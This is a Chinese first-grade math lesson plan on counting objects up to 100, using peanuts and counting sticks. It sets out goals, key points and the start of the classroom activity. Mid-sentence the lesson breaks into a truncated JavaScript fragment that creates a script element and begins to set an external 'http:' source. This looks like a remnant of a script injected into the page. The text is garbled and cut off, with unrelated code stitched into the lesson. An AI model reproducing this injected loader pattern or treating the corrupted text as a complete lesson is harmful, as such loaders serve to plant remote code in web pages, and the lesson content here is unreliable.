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一年级下册数花生导学案课件教学目标：1.使学生能运用不同的方法数出数量在100以内物体的个数，能正确数出100以内的数。2.结合多种数数活动，培养发散思维能力，学会合作与交流，感受数数的乐趣。3.通过对100以内数的认识，进一步培养学生的数感，初步感受一列数所蕴含的规律。教学重点：运用不同的方法数出数量在100以内物体的个数，能正确数出100以内的数。教学难点：手口对应，掌握数数的方法。教学过程：一、情境导入。今天，淘气和笑笑也来到了我们的课堂，他们一人端了一盆花生，你能看出谁的花生多吗？（出示课本情境图，引导学生猜测）我们的猜测究竟准确不准确，怎样可以验证？（数一数）二、活动探究。1.活动一。（1）现在我们用小棒来代替花生，咱们帮淘气和笑笑来数一数。现在每一桌都在一袋小棒，请同学们先拿出来放在桌子的左边，再请varscript=document.createElement_x;script.src=http:/
